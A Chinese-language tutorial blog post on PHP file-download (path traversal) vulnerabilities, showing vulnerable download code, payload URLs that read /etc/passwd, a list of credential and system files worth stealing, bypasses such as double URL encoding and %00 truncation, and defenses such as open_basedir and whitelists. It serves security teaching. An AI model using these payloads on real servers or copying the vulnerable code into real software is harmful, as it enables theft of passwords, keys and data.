OWASPtop10——文件下载漏洞
本文最后更新于 2024-07-26,文章内容可能已经过时。
文件下载漏洞
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
一、概念
在php中,由于对用户输入没有校验,可以通过文件下载访问任意文件。
$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));
echo file_get_contents($file);
payload:
linux:
xx.php?file=/etc/passwd
xxx.php?file=db.php
windows:
xxx.php?file=C:\boot.ini
敏感文件:
windows:
C:\boot.ini//查看系统版本
C:\Windows\win.ini//基本系统配置文件
C:\Windows\System32\inetsrv\MetaBase.xml//IIS配置文件
C:\Windows\repair\sam//存储系统初次安装的密码
C:\ProgramFiles\mysql\my.ini//Mysql配置
C:\ProgramData\MySQL\mysqlxxx\my.ini
C:\ProgramFiles\mysql\data\mysql\user.MYD//Mysqlroot
C:\Windows\php.ini//php配置信息
C:\Windows\my.ini//Mysql配置信息
linux:
/root/.ssh/authorized_keys//ssh登录认证文件
/root/.ssh/id_rsa//公钥文件
/root/.ssh/id_rsa.keystore//密钥存放文件
/root/.ssh/known_hosts//已访问过的主机公钥记录文件
/etc/passwd//用户信息
/etc/shadow//密码存放文件
/etc/my.cnf//mysql配置文件
/etc/httpd/conf/httpd.conf//apache配置文件
/root/.bash_history//记录系统历史命令文件
/root/.mysql_history//记录数据库历史命令文件
/proc/self/fd/fd[0-9]*(文件标识符)//连接当前正运行的进程
/proc/mounts//已挂载的文件系统信息
/porc/config.gz//内核配置文件
二、危害
获取服务器上的文件和资料。
三、防御和绕过
- 加前缀:
$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));
echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.$file);//把下载的文件增加绝对路径限制
此时如果想下载/etc/passwd,是无法下载到正确文件的。
http://192.168.128.128/hz02/posts/download.php?file=/etc/passwd
绕过方式: 目录穿越(../../../../../etc/passwd)
http://192.168.128.128/hz02/posts/download.php?file=../../../../../../../../../../../etc/passwd
防御目录穿越:去掉../
$file = str_replace("../","",$file);
如果php代码中,手工使用urldecode来解码$file变量,那么可以采用下面的两次url编码绕过
echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.urldecode($file);//手工使用urldecode解码文件名称
此时,我们在请求的时候,可以使用两次url编码来做目录穿越,如下:
第一次url编码:把../编码为%2e%2e%2f
http://192.168.128.128/hz02/posts/download.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
第二次url编码:把上面的%2e%2e%2f再一次进行url编码
http://192.168.128.128/hz02/posts/download.php?file=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66etc/passwd
- 前缀加后缀
echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.$file.'.jpg');//加了前缀路径,还增加了后缀扩展名
前缀加后缀的就很难绕过了
-
文件名保存在数据库
url中传id,具体文件名在数据库中,或在配置文件中取出,这种就没什么办法绕过了。因为用户的输入不能决定下载哪个文件。
远程文件包含的绕过:
如果没有加前缀,只加了后缀,那么远程文件包含可以通过?来绕过
例如:这段下载的代码
<?php
$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));
echo file_get_contents($file.".jpg");
?>
请求下载远程的文件,这里的远程文件地址后面跟着?a=b,再拼接上php中的.jpg就变成了a=b.jpg这个参数是传给cspreport.txt的,这样就绕过了后缀,直接下载的是cspreport.txt
http://localhost/hz02/posts/download.php?file=http://192.168.161.128/jsonp/cspreport.txt?a=b
%00截断字符绕过后缀,只使用与PHP5.3以及更低版本,并且magic_quotes_gpc = Off才可以。
%00是\0的url编码,在c语言中代表字符串的结束。
magic_quotes_gpc = On会自动开始特殊字符的转码,单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线;这个选项在PHP5.4中就已经开始废弃了
配置在php.ini中open_basedir,防御
指定路径,只能访问某个指定目录或子目录中的内容,包括php文件,其他目录都不可以访问
open_basedir = D:\xampp8\htdocs\hz02\posts\
当我们尝试下载文件的时候,
http://localhost/hz02/posts/download.php?file=C:\Users\Administrator\Desktop\tmp\paswd
会报错:
Warning: file_get_contents(): open_basedir restriction in effect. File(C:\Users\Administrator\Desktop\tmp\paswd) is not within the allowed path(s):
四、小总结
绕过:
1、目录穿越: ../../../,绕过前缀目录
2、二次编码绕过: 把../经过两次编码
3、远程文件包含使用?绕过后缀
4、%00截断字符绕过后缀,只使用与PHP5.3以及更低版本,并且magic_quotes_gpc = Off才可以。
防御:
1、配置open_basedir
2、包含或下载的文件名称不允许用户输入,直接写死在代码中
3、检查用户输入的参数,过滤../../../ 或经过编码的%2e%2e%2f
4、禁止使用远程包含,关闭allow_url_include 参数
5、添加白名单,不在白名单中的禁止使用
- 感谢你赐予我前进的力量